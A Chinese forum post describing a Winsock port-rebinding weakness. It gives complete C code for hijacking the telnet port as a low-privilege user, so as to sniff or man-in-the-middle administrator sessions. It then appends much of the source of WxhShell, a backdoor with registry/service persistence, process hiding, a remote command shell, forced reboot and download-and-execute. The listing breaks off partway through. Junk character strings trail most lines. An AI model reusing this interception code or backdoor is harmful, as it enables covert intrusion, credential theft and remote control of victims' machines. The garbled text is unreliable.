社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19184阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v9R#=m/=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BqC, -gC  
S6CM/  
  saddr.sin_family = AF_INET; RB<LZHZI  
| n5F_RL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Aa$k:_  
!]1X0wo\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k_%2Ok   
b);Pw"_2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RaT(^b(  
Gc2sY 0  
  这意味着什么?意味着可以进行如下的攻击: S!Ue+jW  
{|?OKCG{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ l"70\&  
Cc*"cQe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vRa|lGeW  
Nw ;BhBt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fD+'{ivN4  
 ^ZnlWZ@r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vw=OGjT_>m  
{wMw$Fvf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y;A<R[|Ve  
WmU4~.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pFi.?|6"  
& V :q}Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1~:7W  
(\m4o   
  #include jv7-i'I@  
  #include Qj: D=j8  
  #include ppr95 Y]^  
  #include    d%_v eVIe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ].53t"*  
  int main() -y]\;pbZ0  
  { m qgA  
  WORD wVersionRequested; m^cr-'  
  DWORD ret; !xmvCH=2  
  WSADATA wsaData; ULc oti=,  
  BOOL val; ^$qr6+  
  SOCKADDR_IN saddr; z-fP #.  
  SOCKADDR_IN scaddr; [uK*=K/v  
  int err; ] -"~?  
  SOCKET s; e3w4@V`  
  SOCKET sc; c:etJ  
  int caddsize; t"M&Yy  
  HANDLE mt; 0,+RF "R  
  DWORD tid;   %T@3-V_  
  wVersionRequested = MAKEWORD( 2, 2 ); gTWl];xja  
  err = WSAStartup( wVersionRequested, &wsaData ); MMg"G6?  
  if ( err != 0 ) { [of{~  
  printf("error!WSAStartup failed!\n"); \Z9+U:n  
  return -1; hZ NS$  
  } H.|v ^e  
  saddr.sin_family = AF_INET; BwtjTwd  
   ucP}( $  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &LM@_P"T  
r&sm&4)p-5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WLGk  
  saddr.sin_port = htons(23); rX*4$d0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $"&0  
  { am,UUJ+h>  
  printf("error!socket failed!\n"); rFJ(t7\9h  
  return -1; 7U68|\fI!  
  } Nd!0\ "AE  
  val = TRUE; 4_qd5K+n"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ; (I(TG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ut:>'TwG  
  { lc1?Vd$  
  printf("error!setsockopt failed!\n"); l/9V59Fv9  
  return -1; >zcR ?PPs  
  } fw aq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Uywi,9f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mU.(aL HW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \| qr&(PG  
\49LgN@\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R3+y*< <e  
  { 2q V.`d  
  ret=GetLastError(); 5dc24GB>_  
  printf("error!bind failed!\n"); :SFcnYv0  
  return -1; UjLZ!-}  
  } RbB y8ZVM  
  listen(s,2); Zp'c>ty=  
  while(1) [ySO  
  { N&g9z{m7  
  caddsize = sizeof(scaddr); VZ"W_U,  
  //接受连接请求 } :U'aa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eytd@-7uX  
  if(sc!=INVALID_SOCKET) b37F;"G  
  { H9'Y` -r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3LXS}~&  
  if(mt==NULL) ~=HrD?-99p  
  { 1.\|,$  
  printf("Thread Creat Failed!\n"); Q/[|/uNw?  
  break; <P&~k\BuF{  
  } 3[8F:I0UL  
  } |"V]$s$ c  
  CloseHandle(mt); LASR*  
  } .)Xyz d  
  closesocket(s); g/H:`J  
  WSACleanup(); <vS J< WY  
  return 0; b+/XVEsr  
  }   -I."= c%  
  DWORD WINAPI ClientThread(LPVOID lpParam) N"-</kzV  
  { !GJnYDN  
  SOCKET ss = (SOCKET)lpParam; y\-f{I  
  SOCKET sc; Hkq""'Mx+w  
  unsigned char buf[4096]; ap|7./yg  
  SOCKADDR_IN saddr; {m1=#*  
  long num; -*q:B[d  
  DWORD val; \hGo D  
  DWORD ret; ^rF{%1DT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cp@(y$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    L~F"  
  saddr.sin_family = AF_INET; OO)m{5r,{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E.*TJ  
  saddr.sin_port = htons(23); &8VB{S>r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yZ7aH|Q81B  
  { _@U?;73"5  
  printf("error!socket failed!\n"); ]Tmx;[D  
  return -1; R5 O{;/w  
  } MExP'9  
  val = 100; +E.}k!y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i4 BCm/h  
  { 8r"$o1!  
  ret = GetLastError(); 6J/"1 _  
  return -1; jP*5(*[&y  
  } yEYlQ=[#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7R9S%  
  { ?^TjG)e7  
  ret = GetLastError(); 7WZ).,qxY  
  return -1; d=<"sHO  
  } E,"?RbG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3`y9V2&b  
  { #H]cb#  
  printf("error!socket connect failed!\n"); 32DT]{-N!  
  closesocket(sc); CXC,@T  
  closesocket(ss); QcZ*dI7]:  
  return -1; l| 1O9I0Gd  
  } #"tHT<8u  
  while(1) JNY;;9o  
  { lPcp 17U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [x}]sT`#a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 34Q;& z\e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c\2+f7o@  
  num = recv(ss,buf,4096,0); H.\gLIr  
  if(num>0) |e+8Xz1>  
  send(sc,buf,num,0); S`,(10Y  
  else if(num==0) \ ;.W;!*  
  break; Af8&PhyrU  
  num = recv(sc,buf,4096,0); G$X+g{  
  if(num>0) foh>8/AL/  
  send(ss,buf,num,0); &(H;Bin'  
  else if(num==0) B>kx$_~  
  break; =,Y i" E  
  } Pba 6Ay6B  
  closesocket(ss); 4F_*,_Y  
  closesocket(sc); /I[?TsXp  
  return 0 ; h-0sDt pR  
  } 'FB?#C%U  
6=V&3|"  
T /iKz  
========================================================== Yh`P+L  
p-]vf$u  
下边附上一个代码,,WXhSHELL 4] c.mDo[T  
N[$bP)h7  
========================================================== . J"g.Q  
*Xh)22~T  
#include "stdafx.h" /cn=8%!N  
z[kz [  
#include <stdio.h> sZ`C "1cX  
#include <string.h> >)g`;iO  
#include <windows.h> j$%KKl8j  
#include <winsock2.h> Cx>iSx  
#include <winsvc.h> :f^ =~#!  
#include <urlmon.h> 9f ,$JjX[  
2=H3yEJq  
#pragma comment (lib, "Ws2_32.lib") H,r>@Y  
#pragma comment (lib, "urlmon.lib") w+ZeVZv!r  
CA2 ,  
#define MAX_USER   100 // 最大客户端连接数 /P<K)a4GM  
#define BUF_SOCK   200 // sock buffer Jb'l.xN  
#define KEY_BUFF   255 // 输入 buffer ZA4NVt.yN  
<0my,hAK  
#define REBOOT     0   // 重启 fmH"&>Loc  
#define SHUTDOWN   1   // 关机 CXqU< a&  
)6?(K"T  
#define DEF_PORT   5000 // 监听端口 a]NQlsE}l  
dZnAdlJ  
#define REG_LEN     16   // 注册表键长度 m/#)B6@A  
#define SVC_LEN     80   // NT服务名长度 A%H"a+  
ICSi<V[y1  
// 从dll定义API  $$E!u}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2{!o"6t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [t^Z2a{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7CfHL;+m<4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O`2;n.>\  
EsA)o 5  
// wxhshell配置信息 N(<4nAE  
struct WSCFG { ElNKCj<M  
  int ws_port;         // 监听端口 Xo[={2_  
  char ws_passstr[REG_LEN]; // 口令 5mNd5IM  
  int ws_autoins;       // 安装标记, 1=yes 0=no CRy;>UI  
  char ws_regname[REG_LEN]; // 注册表键名 <^j,jX  
  char ws_svcname[REG_LEN]; // 服务名 G}lP'9/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U;_b4S:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,3zF_y(*Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cVR3_e{&H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =>0+BD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #] @<YKoV{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DB^"iof  
fnUR]5\tc  
}; A-"}aCmik  
bwm?\l.A  
// default Wxhshell configuration 6#JdQ[IP6  
struct WSCFG wscfg={DEF_PORT, wM^_pah#Y5  
    "xuhuanlingzhe", X2MQa:yksP  
    1, ? 8d7/KZO  
    "Wxhshell", `y2 6OYo  
    "Wxhshell", DM-8azq $  
            "WxhShell Service", &dino  
    "Wrsky Windows CmdShell Service", :LuzKCvBP  
    "Please Input Your Password: ", Pw"o[8  
  1, O@ GEl  
  "http://www.wrsky.com/wxhshell.exe", ]vPa A  
  "Wxhshell.exe" Au6*hv3:  
    }; 4[S0~O{r  
g36\%L  
// 消息定义模块 vlD!YNy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9 pGND]tIi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F=29"1 ._  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *hT1_  
char *msg_ws_ext="\n\rExit."; 6PS #Zydb  
char *msg_ws_end="\n\rQuit."; +n ${6/  
char *msg_ws_boot="\n\rReboot..."; 4)BPrWea1  
char *msg_ws_poff="\n\rShutdown..."; Y]5\%JR  
char *msg_ws_down="\n\rSave to "; zKi5e+\  
;9{x""  
char *msg_ws_err="\n\rErr!"; U[ $KQEJYj  
char *msg_ws_ok="\n\rOK!"; ,=9e]pQ  
Dm=Em-ST6  
char ExeFile[MAX_PATH]; G n_AXN  
int nUser = 0; : .-z) C}  
HANDLE handles[MAX_USER]; P~)ndaQ  
int OsIsNt; <&?gpRK   
Y}bJN%M  
SERVICE_STATUS       serviceStatus; R?Dbv'lp>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 93Yo }6>  
fwojFS.K  
// 函数声明 [I;5V=bKW  
int Install(void); 1GnT^u y/  
int Uninstall(void); 4DVkycM  
int DownloadFile(char *sURL, SOCKET wsh); u#8J`%g  
int Boot(int flag); b"ypS7 _  
void HideProc(void); n.{+\M6k  
int GetOsVer(void); )U`"3R  
int Wxhshell(SOCKET wsl); pr|P#mc"J  
void TalkWithClient(void *cs); S^GB\uJ  
int CmdShell(SOCKET sock);  0x}8}  
int StartFromService(void); !9!kb  
int StartWxhshell(LPSTR lpCmdLine); -}lcMZY  
/`3^?zlu"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )p-B@5bb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r@xMb,!H  
o b  
// 数据结构和表定义 v5|X=B>&>  
SERVICE_TABLE_ENTRY DispatchTable[] = y@;4F n/  
{ oh '\,zpL  
{wscfg.ws_svcname, NTServiceMain}, LF'M!C9|  
{NULL, NULL} yJaQcGxE"  
}; wl{Fx+<^3  
U}xQUFT|  
// 自我安装 }57wE$9K  
int Install(void) e!wS"[,  
{ E6SGK,f0D  
  char svExeFile[MAX_PATH]; J~5VL |ca  
  HKEY key; K_iy^|0)5]  
  strcpy(svExeFile,ExeFile); ! af35WF  
!*:Zcg?7n  
// 如果是win9x系统,修改注册表设为自启动 u"K-mr#$[o  
if(!OsIsNt) { ~RVx~hh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G4Zs(:a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !8"516!d|p  
  RegCloseKey(key);  H}NW?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C7(kV{h$d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j:%~:  
  RegCloseKey(key); @L%9NqE`O  
  return 0; R|T_9/#)  
    } M%wj6!5  
  } '|0Dt|$  
} *M_.>".P  
else { P-L<D!25  
,.` ";='o  
// 如果是NT以上系统,安装为系统服务 WV5gH*uUa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ex8mA6g  
if (schSCManager!=0) P5ii3a?R  
{ X6mY#T'fQ  
  SC_HANDLE schService = CreateService |X9YVZC  
  ( K1Tq7/N  
  schSCManager, `zHtfox!  
  wscfg.ws_svcname, eR(PY{  
  wscfg.ws_svcdisp, J!,5HJh1  
  SERVICE_ALL_ACCESS, W'\{8&:!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "Hmo`EB0  
  SERVICE_AUTO_START, E[J7FgU)<S  
  SERVICE_ERROR_NORMAL, vrsO]ctI  
  svExeFile, ^5biD9>M  
  NULL, >2 gemTy  
  NULL, i=%wZHc;  
  NULL, m,3?*0BMp=  
  NULL, AigL:4[  
  NULL or/Y"\-!  
  ); y&\ J  
  if (schService!=0) raGov`  
  { M'D;2qo  
  CloseServiceHandle(schService); h"KN)xi$  
  CloseServiceHandle(schSCManager); w%cd $"EH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R|h9ilc  
  strcat(svExeFile,wscfg.ws_svcname); ]*pALT6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 65RWaz;|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MpM-xz~  
  RegCloseKey(key); "A^9WhUpJ  
  return 0; Tn[DF9;?  
    } qFmvc  
  } |jW82L+!N%  
  CloseServiceHandle(schSCManager); -san%H'  
} y";{k+  
} pi? q<p%  
8^;[c  
return 1; )`Tny]M  
} .:c^G[CQ^9  
7|3Z+#|T  
// 自我卸载 ):eX*  
int Uninstall(void) *&>1A A  
{ St/Hv[H'[E  
  HKEY key; Yt2_*K@rC  
eJ>(SkR:[  
if(!OsIsNt) { |sHIT<=m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .x$+ 7$G  
  RegDeleteValue(key,wscfg.ws_regname); >t u3m2  
  RegCloseKey(key); J'y*;@4l^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5<Cu-X  
  RegDeleteValue(key,wscfg.ws_regname); y}ez js  
  RegCloseKey(key); E0}`+x  
  return 0; [i.2lt#]  
  }  N\DEY]  
} fR!'i):u  
} R{kZKD=  
else { h<i.@&  
TPp%II'*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L #p-AK  
if (schSCManager!=0) ~.mnxn  
{ 5) o-$1s A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :h?"0,  
  if (schService!=0) {AqN@i  
  { QvK/31*QG  
  if(DeleteService(schService)!=0) { |)i- c`x  
  CloseServiceHandle(schService); Y1txI  
  CloseServiceHandle(schSCManager); gm9e-QIHK  
  return 0; V;ZyAp  
  } ~m y\{q  
  CloseServiceHandle(schService); !Pt|Hk dr  
  } }S3m wp<Y  
  CloseServiceHandle(schSCManager); ^-PlTmT  
} (w?@qs!  
} ^~|P[}  
'0U+M{  
return 1; J@(=#z8xS  
} A/%K=H?  
c[?S}u|['  
// 从指定url下载文件 5NbI Vz  
int DownloadFile(char *sURL, SOCKET wsh) Fkj\U^G  
{ +ww paR`  
  HRESULT hr; <6U{I '  
char seps[]= "/"; .Ff;St  
char *token; XCoN!~  
char *file; R>BI;IcX  
char myURL[MAX_PATH]; =El.uBz{  
char myFILE[MAX_PATH]; ,\4@Ao  
\TkBV?W  
strcpy(myURL,sURL); m!a<\0^  
  token=strtok(myURL,seps); %FLz}QW*  
  while(token!=NULL) vLJ<_&6  
  { ;2kiEATQ 1  
    file=token; `,Q uO  
  token=strtok(NULL,seps); dgE|*1/0  
  } .l"_f  
c'&3[aa  
GetCurrentDirectory(MAX_PATH,myFILE); R*/%+  
strcat(myFILE, "\\"); 3\|e8(bc  
strcat(myFILE, file); }k7@ X  
  send(wsh,myFILE,strlen(myFILE),0); soA>&b !?  
send(wsh,"...",3,0); o5mt7/5[i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .?CDWbzq  
  if(hr==S_OK) -#j-Zo+<  
return 0; }3j/%oN.(  
else ]IXKoJUf  
return 1; PDvqA{  
8b !&TP~m1  
} k# ZO4  
-o6K_R}R  
// 系统电源模块 h|mh_T{+  
int Boot(int flag) A5z`_b4f  
{ K=M5d^K<E  
  HANDLE hToken; NtkEb :  
  TOKEN_PRIVILEGES tkp; .<^dv?@  
l~AmHw e  
  if(OsIsNt) { oOBN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lLxKC7b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cgc| G  
    tkp.PrivilegeCount = 1; ~EW (2B{u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HviL4iO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >&RpfE[  
if(flag==REBOOT) { [{ K$sd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3X89mIDr  
  return 0; &Ph@uZ\  
} B-|:l 7  
else { Ex^7`-2,B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #JYv1F  
  return 0; %L}9nc%~eP  
} 25t2tj@S  
  } )MHvuk:I)  
  else { /hOp>|  
if(flag==REBOOT) { 7ml,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ? Sj,HLo@U  
  return 0; ,;y 5Mu8  
} hZVF72D26  
else { 2Prr:k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D@!`b6  
  return 0; 0diQfu)Fi  
} ;XSV}eLu  
} zIf/jk  
VT?J TW  
return 1; tmDI2Z%7  
} NjMbQ M4  
} =?kf3k  
// win9x进程隐藏模块 qm4 Ejc<  
void HideProc(void) ;yqJEj_m(  
{ qS*qHT(u19  
9(QY~F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \'&:6\-fw  
  if ( hKernel != NULL ) R#`hT  
  { q%bNT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uxn_nh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~4.Tq{  
    FreeLibrary(hKernel); <QQgOaS`2  
  } vK!,vKa.  
F/tBr%RV  
return; 4gG&u33RrE  
} GQ[: vX`  
36@)a5  
// 获取操作系统版本 E[/<AY^@!z  
int GetOsVer(void) UaiDo"i  
{ qtnLQl"M  
  OSVERSIONINFO winfo; QK&<im-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KVvIo1$N  
  GetVersionEx(&winfo); fCJ:QK!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s+2\uMwf*  
  return 1; J1cD)nM<A  
  else XG@_Lcv*  
  return 0; \vT0\1:|i  
} /~{8/u3  
fa8vY  
// 客户端句柄模块 4pJOJ!?  
int Wxhshell(SOCKET wsl) &q#$SU,$(  
{ Q[;!z1ur  
  SOCKET wsh; T-xcd  
  struct sockaddr_in client; w[I%Id;E  
  DWORD myID; 8|.( Y  
&Y\Vh}  
  while(nUser<MAX_USER) k`62&"T  
{ ;gc Q9L  
  int nSize=sizeof(client); ib/B!?/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); br .jj  
  if(wsh==INVALID_SOCKET) return 1; K I  
Fx~=mYU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cR 4xy26s  
if(handles[nUser]==0) z'O$[6m6  
  closesocket(wsh); ,+3l9FuQ  
else KRd.Ubs -  
  nUser++; lRi-?I| ~9  
  } )a .w4dH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #.$p7]  
rtS(iD@B"  
  return 0; @ eqVu g  
} Us+|L|/  
nmn$$=~)  
// 关闭 socket w}zl=w{G  
void CloseIt(SOCKET wsh) KV k 36;$  
{ ld -c?  
closesocket(wsh); PPU,o8E+  
nUser--; kG[u$[B  
ExitThread(0); yBXdj`bV  
} ^:5 ;H=.  
[h""AJ~t  
// 客户端请求句柄 vRp =L54z  
void TalkWithClient(void *cs) ~P 1(%FZ  
{ K||9m+  
^&am]W;T  
  SOCKET wsh=(SOCKET)cs; R9f*&lj  
  char pwd[SVC_LEN]; J [J,  
  char cmd[KEY_BUFF]; (Gf1#,/3~  
char chr[1]; cF_ Y}C  
int i,j; (5]<t&M  
5rRYv~+  
  while (nUser < MAX_USER) { Tm-Nz7U^^  
UpL?6)  
if(wscfg.ws_passstr) { k {_X%H/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -^=gQ7f9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~b+4rYNxU_  
  //ZeroMemory(pwd,KEY_BUFF); 4.$<o/M  
      i=0; HUuL3lYka  
  while(i<SVC_LEN) { N&K:Jp  
Q9tBHz  
  // 设置超时 ~>3$Id:  
  fd_set FdRead; 9eo$Duws  
  struct timeval TimeOut; 2>l4$G 0  
  FD_ZERO(&FdRead); dX-{75o5P  
  FD_SET(wsh,&FdRead); |GM?4'2M.  
  TimeOut.tv_sec=8; G&)A7WaC  
  TimeOut.tv_usec=0; H{ p   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;| ##~Y.9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /)ps_gM  
hn{]Q@(I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >0~|iRySi  
  pwd=chr[0]; V%g$LrLVe  
  if(chr[0]==0xd || chr[0]==0xa) { 6Db1mvSe  
  pwd=0; 1Y6<i8  
  break; }`E5I&r4  
  } (zIP@ H  
  i++; UX}ZE.cV  
    } "*CQ<@+  
Vcz ExP  
  // 如果是非法用户,关闭 socket w{f!t8C*s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v!27q*;8H  
} 7tP?([o%F  
9G_bM(q'^2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *&9_+F8ly  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <e-9We."  
Qu,W3d  
while(1) { Y!c RzQ  
G7yCGT)vQ  
  ZeroMemory(cmd,KEY_BUFF); lyNa(3  
? acm5dN  
      // 自动支持客户端 telnet标准   _) k=F=  
  j=0; DygMavA.  
  while(j<KEY_BUFF) { Q*&>Ui[&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s%z\szd*  
  cmd[j]=chr[0]; c?A(C#~ z  
  if(chr[0]==0xa || chr[0]==0xd) { |b7 v(Hx  
  cmd[j]=0; _eb:"(m  
  break; q4'szDYO2  
  } fw$/@31AP?  
  j++; h[b5"Uqj  
    } @]P#]%^D2  
3}e-qFlV8,  
  // 下载文件 CG*eo!Nw  
  if(strstr(cmd,"http://")) { F$QN>wPpM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B{$4s8XU  
  if(DownloadFile(cmd,wsh)) j&,,~AZm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?$i`K|  
  else fgIzT!fyz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); va F^[/ (g  
  } 8 z0j}xY%  
  else { smvIU0:K  
Tj7OV}:  
    switch(cmd[0]) { 64 9{\;*4  
  R_ymTB}<t(  
  // 帮助 ^ cpQ*Fz  
  case '?': { s kC*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #Jp_y|  
    break; /?uA{/8  
  } JJ`RF   
  // 安装 I4 {uw ge  
  case 'i': { yqR2^wZ%r  
    if(Install()) 7s@%LS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WP[h@#7<  
    else 4>eY/~odq]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aNLRUdc.  
    break; H_RV#BW&  
    } l/0"'o_0v#  
  // 卸载 x O?w8*d  
  case 'r': { 2z+Vt_%  
    if(Uninstall()) kDI(Y=Fg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3&-kU  
    else {U@&hE -  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cdiDfiE  
    break; Z BjyQ4h  
    } V'?bZcRr~  
  // 显示 wxhshell 所在路径 *`$Y!uzG:\  
  case 'p': { q-gp;Fm  
    char svExeFile[MAX_PATH]; *W,tq(%tQ  
    strcpy(svExeFile,"\n\r"); k+#6  
      strcat(svExeFile,ExeFile); ;D.a |(Q  
        send(wsh,svExeFile,strlen(svExeFile),0); le60b@2G0  
    break; .<&o,D  
    } aVkgE>  
  // 重启 NwPGH= V  
  case 'b': { <%w)EQf4m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qd$Y"~Mco  
    if(Boot(REBOOT)) [Q+8Ku  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iR} 3 [  
    else { _`3'D`s  
    closesocket(wsh); c6/+Ye =h  
    ExitThread(0); Wy1#K)LRb  
    } $>Md]/I8  
